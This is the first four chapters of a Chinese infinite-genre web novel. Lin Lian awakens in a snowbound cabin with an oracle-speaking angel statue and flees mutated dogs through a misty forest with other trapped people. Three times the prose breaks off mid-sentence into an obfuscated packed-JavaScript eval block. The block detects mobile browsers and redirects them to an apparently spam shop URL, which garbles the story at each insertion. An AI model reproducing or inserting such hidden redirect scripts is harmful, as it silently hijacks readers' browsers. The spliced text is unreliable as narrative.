《等会儿,什么叫我是创世神?[无限]》 1. 神谕 寒风裹挟着落雪在屋外哭嚎,夹杂着雨点噼里啪啦砸落在地的声音,老旧的时钟机械地运行着,咔哒咔哒的声音在静谧的屋内格外突兀。 屋内零零散散坐着几个人,门边几人神色萎靡,有一个时不时试图探头向外看,却又畏畏缩缩不敢全然探出头去,小屋中央摆放着一个看起来年代久远的木桌,几个衣着利落的人镇定自若地坐在凳子上低声讨论。 墙角还侧倚着一个,正阖眼沉睡,似是睡得不安稳,睫毛上下浮动。 这人穿了一身灰色大衣,额前几缕发丝懒懒散散地垂在眼睛上,微卷的发尾随意地垂在身后,她垂着头,众人只能看到她高挑的鼻梁。 风声愈来愈大,少女似乎意识到自己并未处在熟悉的地方,蹙了蹙眉,幽幽转醒。 “你醒啦。”一声脆生生的声音骤然响起。 林敛闻言看过去,一个看起来只有八九岁的小姑娘正睁着眼睛直勾勾地盯着她看。 小姑娘的头发用红绳缠成双马尾,红绳自然坠下,头发的长度只到眼睛,红色的流苏与发丝相互缠绕。 盯着林敛的瞳仁表面浮着一层不正常的白色。 周围坐着的几人闻言都看过来。 “这是什么地方。”林敛低咳一声,问道。 “喏。” 顺着小姑娘的视线看去,屋子中央摆放着一个巨大的天使雕塑,一支通体黑色泛着金红流光的箭矢牢牢地固定在雕塑的眉心。 林敛这才注意到自己所在房间的诡异之处。 屋子看起来异常破旧,墙皮上打了几块看不出材质的补丁,像是曾经被打破过,又被人补好。 林敛伸手在墙壁上摸了摸,顿了一下。 屋内光线很差,只能模糊地看到其他物体,但是正中间的雕塑却格外清晰。 一个破旧狭窄的屋子,中间却放置一座天使雕像。 与其说是违和,更不如说是诡异。 正思索,天使雕塑突然开口。 【永远不要忽视动物的低语,当午夜的钟声敲响,演出序幕即将拉开,前往世界尽头,孤独的旅人或许会给你指引,祝你好运。】 木门砰的一声被打开,强劲的风雪涌入,瞬间在屋内所有人的身上增添了一层白霜。 林敛拢了拢大衣,朝雕塑走近了两步,抬头仔细端详。 天使雕像双眼紧闭,神情安详,双手交叠捂住心口,静静地矗立在原地,仿佛刚才的一切都与她无关。 林敛脑海里一片空白,没有任何多余的记忆,只记得自己上一秒还踩在打滑的路上,伸手接住飘零的落雪,下一秒就被拽进了这片冰天雪地。 “该死,这到底是什么鬼地方。”一个花臂男猛地起身,几步跨过来一拳砸向雕塑。 “你疯了吗?”双马尾女孩惊呼出声,转瞬间以一种极其诡异的姿势飞身几步踢开他的胳膊。 落地瞬间,小女孩扬了扬眉:“软绵绵的一点力气都没有,还逞什么能,在这里找死。” 花臂男就着摔倒在地的动作顺势缩成一团,众人这才发现,这人的腿竟然还在微微颤抖。 “怂货。”小女孩毫不留情,泛白的双眼写满鄙视。 “行了小希。”桌子正中央的男人出声阻止,“不要一来就欺负新人。” 林敛这才回头看去,以这个男人为中心坐了三四个人,各个一身类似于冲锋衣的打扮,中间的男人面容刚毅,俨然是这几人的老大。 小女孩瘪了瘪嘴,没再多说,只是回去的路上又看了林敛一眼。 角落坐着的几人听到男人这话,忍不住凑近:“请问,你刚说新人是什么意思,你们到底是谁?这难道不是恶作剧吗?” “恶作剧?”双马尾女孩嗤笑一声,她靠在墙角,泛白的双眼在昏暗的光线下显得格外突兀,“你确实该祈求这是一场恶作剧,被戏弄完就可以离开这个鬼地方,而不是在这漫天风雪里等好几个小时就为了看一座雕塑张嘴说话。” 桌旁的男人看了看眼前的这群新人,面上表情不变,开口道:“很遗憾,这里确实不是谁的恶作剧,没有人知道这到底是什么地方,我们只知道这是个被诅咒的不祥之地。” “它会吸纳同时触发特定条件的人进入副本,但条件各不相同,我们目前还没有总结出规律。” 他喉结滚动:“这里由无数个独立副本组成,每一个副本都是一场生死考验,人们会因为触发特定的条件被强行拉入副本,完成任务。任务失败、违背规则、不敬神明、运气不好,都会成为死亡的理由。” “所以我叫它诅咒之地,我们都是被诅咒的人。” “诅咒之地?副本?”角落一个穿着职场西装的男生声音发颤,扶着墙壁勉强站稳,“神明又是什么东西。” “嘘。”男人比了个嘘的姿势,看了一眼雕像对众人说,“那尊雕像就是神明的化身,记得刚进来时它说的那段话吗?” 【永远不要忽视动物的低语,当午夜的钟声敲响,演出序幕即将拉开,前往世界尽头,孤独的旅人或许会给你指引,祝你好运。】 “那是神明降下的神谕,也是我们通关副本唯一的指示物,成功解读并找到出口,我们就能离开。” “那……如果没解读成功呢……”一个戴着厚框眼镜的女生颤抖着声音说。 “必须成功。”男人神色凝重,“神谕是能活下来的唯一指向,是通往生路的核心,若忽视神谕贸然行事,必死无疑。” “一般副本存在隐藏信息,集齐所有隐藏信息会有特殊奖励,但是对我们而言,只要活命,及格就行,只要按照神谕指示行事,通关主线任务,就算成功。” “还有一种方法。”旁边扎双马尾的小女孩突然插话说,“杀穿整个副本怪物暴力通关。” “但是成功的概率很低,我也只见过一个人成功通过这种途径通关,其他想效仿的人都被怪物反杀了。” 屋内瞬间被恐慌笼罩,烛火被风雪吹得摇曳不定,将众人的影子拉得扭曲狭长。 几个新人脸色惨白,扶着墙壁才勉强站稳,诡异的雕塑、陌生的房间、狂暴的风雪,每一样都在碾碎他们的心理防线。 见众人情绪稍稍平复,刚毅男人再次开口,语气沉重:“我叫覃平,算是这几个人的老大,在这个世界,单打独斗存活概率极小,抱团取暖才是生命延续的最好方式,努力活下去才是唯一的出路,所以为了活下去,希望大家能团结起来一起寻找解谜方法。” 这番话彻底颠覆了众人的认知,原本还抱有“恶作剧”“幻觉”幻想的人,瞬间面如死灰。 “所以像他刚那样就是不敬神明吗?”有人问,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484770|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想攻击雕塑,而那个叫小希的女孩是为了救他。” 小希抬脚踢了踢还瘫在地上的花臂男,那人吓得浑身一僵:“对,在这里,随便触碰不该碰的东西,很可能会触犯禁忌导致死亡。刚才他那一拳,要是真砸在雕塑上,现在应该已经死无葬身之地了。” 花臂男脸色惨白如纸,嘴唇哆嗦着,一个字都说不出来。 覃平说:“之前的副本里有人也是冲动行事,急着出去,攻击了雕塑,然后我亲眼看着他在在我们面前瞬间融化。” 融化,一个令人毛骨悚然的词语。众人只在脑子里想了一下便不寒而栗,有人更是直接干呕出声。 一个词语让所有人都认识到了这里的危机四伏,屋内陷入死寂,只剩下屋外风雪呼啸的声音。 “咔哒。”一声清脆的声音唤醒了众人的思绪,下意识看过去,却看到了让他们目眦欲裂的一幕。 “你干什么!”小个子男生骤然起身。 众人齐齐看去。 只见林敛在众人忽视的角落掰开了天使雕塑搭在胸口的手,刚那声响声就是由此而来。 小个子男生焦急道:“都说了不能攻击雕像,你——” 他话还没说完就被林敛打断。 “我没有攻击雕像。”林敛说,“只是触碰,不是吗?” “随便触碰也不行,谁知道会不会有什么问题,万一连带着大家都出事怎么办?!” “我没有融化,也没其他异常。”林敛补充了一句。 小个子男生语塞。 “而且,大胆的尝试是有意义的。”林敛示意众人看去。 只见天使被掰开的手里捧着一个白色玉琚。 “这是……”覃平瞪大双眼,两步并作一步走过来,颤抖着手取下来。 “副本道具。”林敛说,“我刚碰到它的时候脑子里有提示音。” “可以减少惊惧,□□心绪,防止太惊恐出现幻觉。”林敛说,“使用范围可以覆盖所有人。” “好,太好了。”覃平惊喜道,忍不住笑出声。 “在这个诅咒之地,除了自身实力,还可以依靠副本中获得的道具辅助自己活下去。无论什么道具都是不可多得的宝物,尤其是群体道具,更是少之又少,我还是第一次见,你刚来就能找到群体道具,效果还这么好,太好了。” “我先丑话说在前面。”覃平突然冷静下来,锐利的眼神扫过众人,冷声道,“道具会直接绑定主人,收起你们不该有的心思。” 几道觊觎的目光悄悄收回。 “对了,还没来得及问你怎么称呼。”覃平将玉琚递给林敛,让她收好。 “林敛。” “林小姐。”覃平歉意地说,眼神看向刚出声音阻止林敛的小个子男生,“刚小赵也是关心则乱,希望你能别跟他计较,作为交换,我们可以为你提供全程保护。” 林敛虽然没说,但覃平心知肚明,群体道具虽然可以覆盖所有人,但拥有者可以自行选择作用对象,如果林敛想,她完全可以将小赵排除在外。 “叫名字就行。”林敛当下就明白了覃平的意思,聪明人说话不用太过直白。 那种情况下小赵的反应无可厚非,林敛没有生气,也不至于因为这点小事就将小赵排斥在外,但是免费的保护谁会介意呢。 2. 犬吠 戴眼镜的女生颤抖着开口:“可……可我们明明互不认识,为什么会一起被拉进来?我明明只是在公园堆雪人,不小心踩到结冰的路面摔了一跤而已。” 这话像是打开了某个开关,众人纷纷下意识开口,拼凑起自己被卷入前的最后一幕。 “我……我是刚从公司开完会出来,不小心踩在了积雪上,眼前一黑就来了。”西装革履的男生慌忙道。 “我是修车时手指沾到了车底的冰碴子……”花臂男缩在地上,声音发颤。 “我是在滑雪场,被一阵突来的风雪卷住,再睁眼就在外面的雪地里了,找到这儿来才看到你们的。” 林敛也微微一怔,虽然她一进入这个地方就发现自己的记忆似乎被什么东西刻意抹去,但最后一瞬雪花落在掌心的记忆却明确清晰。 所有人你一言我一语,越说越心惊。 没有例外,他们在被拉入这个地方前,全都在现实中触碰到了与冰雪相关的元素。 覃平看着脸色惨白的众人,缓缓点头:“对,同一时间接触到同一种特定条件,就是进入同一个副本的途径之一。现在看来,冰雪,就是我们这次的共同点。” “但是你们不是一起的吗?怎么可能这么巧能同时触发相同的条件进入同一个副本。”戴眼镜的女生提出质疑。 覃平旁边的一个小个子男生苦笑一声:“当然不会每次都这么幸运,为了活下去,我们在现实生活中搬到了一起住,基本上都是三三两两共同出行,尽量确保不落单陷入危险。” “这次是我们四个一起,在打扫院子的积雪的时候被拉了进来,还有别的兄弟没有一起进来。” “还有一些人是之前副本里遇见过的,觉得信得过再次遇见就可以继续合作,比如小希。” 想起覃平刚叫过的称呼,林敛朝双马尾奇怪小女孩看过去,少女正坐在桌边无聊地等着覃平等人解释,手指无意识地缠绕着红绳玩儿,察觉到视线抬手笑嘻嘻地朝她打了个招呼。 “我们之前在副本里遇见过一次,很巧这次又能在这个副本相遇。”覃平说,“别看小希年龄小,拳脚功夫着实不错。” 众人顿时想起少女刚一脚踢倒花臂男的壮举。 正说着,小希靠在墙角,眼睛微微眯起,耳朵动了动,像是捕捉到了什么:“门外有东西。” 花臂男吓得立刻往桌子底下钻,声音发颤:“是、是怪物吗?会不会进来吃了我们?” “没出息。”小希嗤笑一声,刚想开口嘲讽,一道挺拔的身影裹挟着风雪踏入屋内。 男人黑色大衣落满寒霜,眉眼深邃,容颜似天外之人,风雪打湿了他的衣服,却使他的气质更加清俊冷冽。 他像从风雪深处走来的归客,沉默地站在门口,目光淡淡扫过屋内众人,最终落到林敛身上,停留了一瞬又移开。 他没有多余的动作,只是拍了拍肩头的雪,转身关上门,隔绝了屋外肆虐的风雪。 “你是谁?”覃平立刻起身,在诅咒之地里,突然出现的陌生人,有时比怪物更危险。 男人看着屋内摆出防御姿态的众人,挑了挑眉:“我来得早,刚在外面转了两圈,你们继续。” 刚刚众人交谈时,发现大家或是直接传送至屋内,或是从屋外雪地中自行进入,因此时间上稍有不同。听到男人这解释信了几分,紧绷的空气稍稍松懈,覃平几人放下攻击道具,却依旧暗中保持着警惕。 林敛下意识多看了他两眼。 新人里有人松了口气,以为只是和他们一样被卷入的倒霉蛋。 花臂男也从桌子底下探出头,看男人沉默寡言的样子,顿时少了几分畏惧,嘟囔道:“装什么酷,还不是和我们一样被困着。” 从他推门进来的那一刻,林敛就察觉到了不对劲,这人没有对陌生环境的恐惧,也不像覃平他们这些人,虽然有经验,但一直保持着警惕。 眼前这人整个人身体呈现一种放松的姿态,一举一动虽没有特殊的表现,却难掩随意,与屋内的其他人截然不同。 林敛没有忽视他刚进来时下意识看向天使雕塑的眼神,带着一丝不耐,绝非对陌生或惧怕的事物该有的眼神。 林敛脑中思索,没有注意到小希在看到男人后,那双泛白的无瞳之眼竟然微微收缩,原本嚣张的气焰瞬间收敛,乖乖靠在墙角,没再发出一点声音。 “你叫什么名字?是怎么来的?”穿西装的男生试探着开口,想从男人嘴里套点信息。 男人虽然看起来冷淡,却也没有拒绝回答:“景年,我不记得怎么来的了,只记得最后眼前是一片雪白,醒来就发现在雪地里,找到这个屋子后发现没什么人,就又出去转了两圈,没发现什么东西,再走回来就是现在了。” 听到失忆,覃平皱了皱眉头,这是一个太好的借口,再问什么也很难问出东西来,中途加入的不知道来历的人最容易出问题。 林敛若有所思,从前面众人的对话不难听出,其他人并没有出现和她一样失忆的情况,为了以防万一,她也并没有将自己失忆这件事告诉众人。但眼前这个男人却直接说自己不记得发生了什么,是真的不记得,还是另有隐情。 林敛想起男人刚刚看向雕塑的眼神,心下暗暗戒备。 无论他说的是真是假,在这个吃人不吐骨头的地方,这样一个看起来有点危险的人的出现并不是什么好的征兆。 时间一分一秒流逝,木屋墙壁上那座老旧的时钟,指针缓缓挪动。 屋外的风雪声中隐隐夹杂着几声狗叫。 “那个。”西装男弱弱出声,“我们现在应该干什么?” “等。”覃平说。 话音刚落,墙上的时钟发出“咔哒,咔哒”的声音。 林敛抬头望去,时针和分针都已指向十二点,秒针正缓慢地行走,进行最后的倒计时,显然刚才的咔哒声是由此而来。 窗外的犬吠声逐渐变得清晰,一声接着一声,贴着门板传来,听得人头皮发麻。 “还有三十秒,午夜钟声就要敲响了。”覃平盯着摆钟,“还记得神谕吗,【午夜的钟声敲响】,是给我们时间的提示。三十秒后副本开启,不知道外面有什么,大家警戒,我们要准备应付这群怪物了。” 林敛皱眉,屋外犬吠如此清晰,想也知道等会儿副本开启会遇到什么,但她没有漏掉神谕中说的: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484771|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【不要忽视动物的低语】,低语又代表什么。 小希站起身,摆出战斗姿势:“神谕中说的【动物的低语】应该就是犬吠,大概率门外的狗就是怪物。副本怪物不会一直攻击我们,等下它们冲进来,我和覃队长来牵制,你们找机会冲出去寻找出路。” 众新人应声,纷纷紧张地咽了咽口水,攥起拳头绷紧神经。 林敛没有说话,她的余光落在同样没有反应的男人身上,那人仍然保持刚才那个坐姿,只是皱眉盯着倒计时,眨眼的频率和钟声诡异得一致。 随着时间越来越近,屋外的叫声也逐渐变大,甚至能听见有东西喘着粗气的声音,显然那些东西在越靠越近。 “铛——” 钟声被敲响,林敛只觉得这声音隐隐有些熟悉,但是因为缺失记忆,实在想不起来在哪儿听过。 来不及思索,门霎时被风吹开。 那是一副怎样的景象,一群眼睛冒绿光的狗包围了门口,那些狗形态各异,身体扭曲成常人无法想象的形状,各个都没有完整的皮肉。 如果不是听到犬吠,没有一个人能认出这是什么动物,它们已经不能称之为狗,更像一滩滩被暴力拼起来的碎骨,目光阴狠,盯着屋内的人露出锋利的獠牙。 有人倒吸一口凉气,又急忙捂住嘴不让自己发出声音。 这声音仿佛一道信号,狗群霎时冲向屋内,小希飞奔上前,一脚飞踢,将为首的狗踢出去,狠狠砸向地面。 覃平也冲出去,拳头带着风砸向一只狗,那只狗动作灵巧,竟拧身避开,趁覃平收势狠狠地撞向他的腰腹,覃平闷哼一声,没敢多停顿,又一拳砸向它的头,又牵制着另一只狗远离屋门。 趁小希和覃平牵制狗群,小赵带着众人急忙从空出来的屋门口挤出去,趁狗群忙着攻击小希和覃平迅速往出跑。 队伍中有一个看起来很老实的男人跑了两步,却突然在一只晕倒的狗面前停下脚步,狠狠地朝着那只狗的头部踹了上去。 “你干什么!”小赵回头检查情况时看到了这一幕,大吼出声。 那男人面部狰狞:“它刚刚在门口一直盯着我,它想吃了我!它该死!”边说边暴力地踩着脚下的头颅,血肉飞溅,碎骨和脑浆随着他的动作洒到众人脚底。 花臂男没忍住干呕了一声。 虽然是攻击他们的怪物,但是众人还是感到了一丝血腥和不忍。 “你想多了!怪物只会遵从本能攻击人类,你在这儿耽误时间拖累整个队伍的速度,等会儿那些怪物攻击过来怎么办!”小赵简直无法理解,愤怒在他心头积累。 这男人刚在屋子里一直没有出声,甚至在看到门外的狗群时一直在瑟缩,他看对方长得老实,看起来像个好人,还安慰了他几句,这会儿看到已经被打晕的狗开始发疯,他是有病吗!刚安慰他的自己也是有病! 小赵愤怒得无以复加:“你要找死就自己死,我不会再等你了。”说着带着众人继续向远处的树林跑去。 男人停在原地,看着小赵跑走的方向眼底露出一丝阴鸷,但他看向已经注意到他朝这边跑来的狗群又闪过一丝惧怕,赶紧追随着众人的脚步向前跑去。 3. 逃亡 众人沿着雪地一直向前奔跑,一直跑到有树林的地方终于停下脚步,扶着树干喘着粗气,林敛估摸着他们至少跑了一公里。 小希和覃平眼看着众人的身影逐渐消失,也不再恋战,几下摆脱了狗群朝着众人的方向追去。 追上众人时就见小赵在暴怒地质问队伍中的一个人,覃平赶忙上前询问发生了什么事。 戴眼镜的女孩还没缓过劲来,靠在树上喘着粗气跟覃平和小希描述了刚发生的事情。 刚那个突然发疯的人此刻面上已经丝毫没有刚的暴戾之色,他长了一张老实憨厚的脸,恢复平静的他说话温温吞吞的,看着就是个本分的实在人。 也因此,见识过他发疯的众人更觉得毛骨悚然。 林敛这会儿想起来了,这人名叫贾任,长相身材都非常普通,看上去就是每个人身边都会有的那种人,他除了介绍了一下自己的名字外再没说过话,一直缩在房间的角落。 因为太普通,她并没有在他的身上放太多的注意力,刚才她也被那一幕惊了一瞬,这会儿才想起来他是谁。 这样一个人,任谁都没办法将刚那暴力的一幕和他联系到一起。 众人此刻回想起刚那一幕还是忍不住心底发寒,虽然小希和覃平在与狗群争斗的过程中也有伤亡,但是他们杀而不虐,并不会给人血腥和残忍的感觉。 反观贾任,将一个已经昏迷构不成威胁的狗的脑袋踩了个稀巴烂,血肉溅了一地,他的鞋上现在还沾着刚留下的碎肉和血浆,残忍,且让人不齿。 看着他脚上的那些东西,众人忍不住反胃。 贾任此刻又恢复了他还在木屋时的状态,脸上露出怯懦的表情:“我,我不是故意的,我就是太害怕了,看到那怪物晕倒在地上,我怕他醒了会吃了我,我就想赶快杀了它。” 漫天飞雪,他却急出了汗:“我以后不会了,求求你们别丢下我,这林子里这么冷,还有怪物,我一个人活不下去的,他们会吃了我的。” 他一边擦汗一边低头哈腰地朝小赵道歉,看起来懦弱又可怜。大家见状,心里的不满也消了几分,毕竟在这种诡异的地方,情绪激动点也正常。 有人看着他卑微的样子,忍不住开口劝道:“算了吧,也没耽误多久,这不是没出什么事吗,而且那些狗要攻击我们,覃哥和小希不是也杀了好几只吗?贾哥也没做什么特别过分的事,得饶人处且饶人吧。” 小赵一肚子火,这人可真站着说话不腰疼,他刚可看见了,就耽搁了那一会儿,已经有几只狗朝他们扑过来想要攻击他们,还是那个叫景年的不知道哪儿来的力气,在队伍后面将那几只狗一脚一个全踢出老远,他们才能顺利离开。 如果没有景年那几脚,恐怕这人早就被狗咬上屁股留在雪地里了。 “你要是被咬死了还能说出来这话吗?”小希冷声道,她正靠在一棵树上,弯腰揉着自己受伤的小腿。 就他们多拖延的那几分钟,她被狗撞出去,小腿狠狠地磕到了地上的石头,幸亏积雪够厚,小腿只是青紫一片,并没有大碍。 “我跟覃队长在后面拼死拼活,你们不帮忙就算了,还拖我们后腿,一个大男人让一个小姑娘保护,还有脸替罪魁祸首开脱,那下次你负责去引开怪物,我立刻闭嘴。” 那人立刻止住声音,讪讪地笑着远离了几人。 小希翻了个巨大的白眼。 覃平走到小赵身边,拍了拍他的肩膀,声音沙哑:“别气了,眼下先顾着活命,其他人都没事吧?” 小赵深吸一口气,压下心头的怒火,没再搭理贾任,低声跟覃平汇报了情况。 林敛注意到,贾任点头哈腰完,趁小赵转身和覃平离开,抬眼看向小赵的眼神里,充满了藏不住的怨怼。 她叹了口气,只怕覃平希望的大家团结互助的美好愿望要落空了。 “大家先原地休息十分钟,补充点体力,别出声,仔细听外面的动静。”覃平吩咐,众人纷纷点头,不敢有丝毫大意。 林敛将玉琚拿出来,温和的白光笼罩众人,众人立刻感觉到恐惧的心情得到了很大缓解,虽然还有些害怕,但是高度惊恐的症状明显减轻。 “多谢。”覃平也感觉到了内心的舒适,感激道。 “应该的。”林敛不喜欢欠别人人情,她自知目前还没有对付那些怪异的狗的能力,受到别人的保护,也要尽自己的能力回报一二。 只是目前只有这一个道具,她手上的砝码还是太少了,在这种环境里,她不能一直依靠别人的保护,自己必须尽快强大起来。 十分钟很快过去,群体道具真不愧如覃平所说的那般稀有,这么一会儿功夫,众人感觉自己的体力和精神都恢复了大半。 覃平正想招呼大家起身准备出发,树林外不远处突然响起几声嚎叫,一声比一声凄厉,活像有人在用刀砍它们一样。 抬头看去,又一群狗拖着破破烂烂的身体,没有一只拥有健全的四肢,身体坑坑洼洼,甚至有一只身体只有一半,他们互相用仅存的身体支撑跳跃着向众人袭来。 林敛从来没见过这么诡异的姿势,瞬间汗毛竖起。 “该死,不是都摆脱了吗。”覃平暗骂一声。 众人立刻往森林深处跑去,这片树林不算茂密,枝干光秃秃的。由于雪一直没停,地面积了一层厚厚的积雪,树木的根系在雪下很难辨别,比刚在雪地里难跑许多。 众人深一脚浅一脚地狂奔,每一步消耗的不仅是力气,众人还需要用意志力强行抵抗腿软。 贾任跑在队伍的最后面,他看起来惊恐至极,仿佛已经被那群狗吓得神志不清,他神色呆滞,嘴里一直念叨着什么。 那些狗仿佛很享受看到到他们惊恐的样子,不疾不徐地跟在他们身后,没有扑上来一口咬死他们的意思。 但是贾任已经受够这种折磨了,他狠狠地拽住前面女生的衣服,往后一扯。 “啊!你干什么!”女生尖叫,身体不稳,一个趔趄眼看就要摔倒在地。 林敛眼疾手快地抓住她的手,猛地将她拉了回来。 那女生双眼瞬间泛红,颤抖着看向林敛。 “别说话,快跑。”林敛低声说,担心她刚的叫声刺激到身后的狗群,加速拉着她跑了一阵,免得她脱力摔倒。 景年跑在几人旁边目睹了全程,他厌恶地看了贾任一眼,在贾任没反应过来的时候一脚将他踹到了旁边的树上。 贾任狠狠砸到树干上,猛烈的一击让他咳嗽出声,仿佛要将心脏都吐出来,但是来不及生气,看着越来越近的狗群,他大叫一声又立刻向前追去,看着景年的背影,双目赤红。 凭什么,凭什么什么人都来阻挡他! 不知从何时开始他们进入了弥漫雾气的区域,越往里走雾气越浓,能见度渐渐降低,压抑感笼罩在所有人心头。 小希和覃平跑在队伍两侧,时刻警惕着周围的动静,小希仔细辨别着周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484772|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音,除了身后的诡异狗群,似乎周围还有一些悉悉索索的动静。 “不对劲,这树林里还有别的东西!”小希突然停下脚步,示意众人,众人瞬间僵在原地,心提到嗓子眼。 果然,下一秒,树林左侧的灌木丛突然晃动,几只体型更小的狗窜了出来,它们四肢健全,但浑身上下像是被人把皮生剥了一般,只有血糊糊的一团肉,龇着牙朝着众人扑来。 覃平眼疾手快,立刻冲上前,捡起地上一根粗壮的树枝,狠狠挥向其中一只,那狗体型娇小,很快躲开,但不知怎么回事动作稍显僵硬。 覃平抓住这个弱点,加快攻击速度,那狗果然反应不及,缠斗几下便被覃平砸中腹部,重重撞在树干上,挣扎了几下便没了动静。 另一只狗趁机扑向花臂男,花臂男吓得腿软,呆在原地动弹不得。 林敛见状,一把将他扯了过来,那狗转而攻击林敛,林敛只来得及后退一步,捡起地上的石头朝它砸过去。 狗被砸中,发出一声哼叫,躲开林敛,却不改攻势,眼看又要攻击花臂男,景年从旁边挥出一拳,那狗在空中变成一道抛物线,狠狠摔到地面,晕死过去。 林敛惊诧地看着景年,这人看起来没用多少力气,效果却格外显著,她隐隐觉得似乎他比看上去战斗力要强上许多。 小希也看到了这一幕,耸了耸肩。 短短几分钟的缠斗,众人又惊又怕,身后的狗群眼看就要追上。贾任躲在树后,看着众人战斗,双手紧紧攥着,眼神闪烁,身体微微颤抖,看着晕死在地的狗微笑,既害怕又带着一种莫名的兴奋。 “不能停在这里!继续走,不知道什么时候又会有别的东西,数量太多了,我们战斗力太少,再这样下去大家都会受伤。”小希解决完新出现的最后一只狗,立刻道。 众人不敢耽搁,立刻又向前跑去。 奇怪的是,身后的那群狗刚明明已经追上他们,却依然不疾不徐地坠在后面,似乎并没有要趁机攻击他们的意思,但对众人的威慑力丝毫不减,像悬剑一般悬在众人心头,不知何时就会被攻击。 雾气越来越重,几乎看不清前路,众人已经分不清方向,在这没有任何标志物的树林中,他们只能凭着直觉向前。 寒风凛冽,雪林的夜晚并不好过,再厚的衣服也承受不住雪夜浓雾的侵袭,积雪也越来越厚,众人越走越冷,体力也急剧丧失,不知何时已经从跑变成了走,每走一步都异常艰难。 林敛感觉每走一步刺骨的寒气都像刀割一样侵蚀她的嗓子,喉间泛起血腥的味道,但她一言未发,沉默地跟着队伍向前。 走了不知多久,身后再也没有隐约的犬吠传来,景年和小赵去探查一番,发现那群奇怪的狗已经没有了踪迹。 众人提着的心终于暂时落回了肚子里。 紧绷的心情骤然放松下来,雪地里立刻倒了好几个:“咳咳,真的不行了,太累了,我这辈子都没走过这么多路。” 除了覃平几人,这场逃亡对大部分人而言对身体负荷过重,平时几乎没有人有机会在如此极端的环境中走这么长时间的路。 林敛没敢直接坐在雪上,只蹲下揉了揉酸软的小腿,走到后面几乎完全靠着意志力在坚持。 小希一手一个将倒在雪地里的几个人提起来:“直接往雪里躺,我看你们几个是不要命了。” 折腾了一番,众人终于找到了一个背风的粗壮树干,围成一团商讨对策。 4. 分途 “那些狗长得也太渗人了。”花臂男搓了搓手臂上的鸡皮疙瘩。 “副本怪物大多都经过异化,形态诡异,你们往后在其他副本还会遇到更多。”覃平揉了揉眉心,疲惫地说。 “所以我们现在应该去哪?”刚被林敛拉了一把保住性命的女生此刻眼眶红意还未褪去,有些紧张地缩在林敛旁边。 林敛安抚地拍了拍她的后背。 “我建议我们一直往前走。”覃平道。“不知道林子外有什么,一直待在树林里太危险了,我们得出去寻找生路。” 林敛闻言皱了皱眉。 他们已经深入树林腹地,刚跑的太急并未来得及做标记,此刻身旁浓雾弥漫,将他们的衣服都微微打湿,众人的身体情况也并不理想。 “我不建议再往前走了。”林敛道。 覃平惊讶地看了一眼她。 “不知道再往前会遇到什么,我们来时这么长的距离,如果我是副本设计者不可能不埋藏任何线索。” “如果我猜的没错,这会儿那些副本怪物不再追我们,有两种可能。”林敛顿了一下,“一是前面有让他们惧怕的存在,二是有某种限制让他们不得不停下。” “如果是连那些副本怪物都惧怕的存在,我们这群人贸然出现在祂的面前无异于送命。” “如果是某种限制……”林敛想,这就有意思了。 “是地域吗,或是,时间?”林敛微微眯起眼,看着天边亮起的一抹鱼肚白。 “你怎么知道,万一不是呢?”有人嘀嘀咕咕。 “想要验证,也很简单,只需要再回到刚我们和怪物缠斗的地方就行了。” “话说的轻松,万一去了又遇到那些狗呢,我们好不容易逃到这儿了,你一句话就想让大家回去送命,反正我不去,要去你自己去。” 林敛这才看向那个嘀嘀咕咕声音的来处,说话的是一个畏畏缩缩的男人,连说话都不敢大声,只是一味反对。 “我去。” 一个慵懒的声音在耳边响起。 林敛回头才发现,不知何时那个叫景年的男人站在了她的身边。 “不过是探查一番,交给我吧。”他看向林敛,语调轻柔,拖着一点尾音,像一个小钩子轻轻挠了挠林敛的心脏。 一丝怪异在林敛心中弥散。 这人初见一进房间就和她对视,这会儿对她说话又莫名温声细语,到底有什么目的。 难道是认识的人吗。 虽然没有记忆,但是林敛可以肯定,她绝对没有见过眼前这个男人。 他的长相很有特点,看似清冷的长相因为那双凌厉的眼睛带了几丝攻击性,又被他说话时的懒散弱化了几分,这样的人见过一次就很难忘记,哪怕不记得也会有几分熟悉感。 她对这张脸却只有陌生,不过这个人的反应却有些意思,从见面至今,他的行为给她的感觉莫名像是他们从前认识一般。 算了,不想了。 他愿意去探查一番再好不过,林敛清楚自己现在的身体情况,喉间血腥味还未散去,双腿也如同灌了铅,她不会被那男人两三句就激得逞能说自己去。 人没有自知之明是很危险的。 一路走来她也早已发现景年身手不错,虽然不知道比之小希如何,但是仅用来探查,不主动招惹那群副本怪物已经足够。 覃平和小希也需要恢复一下体力,同时还要保护在场手无缚鸡之力的其他人。 在这种地方,各司其职才能最大化地利用每个人的力量。 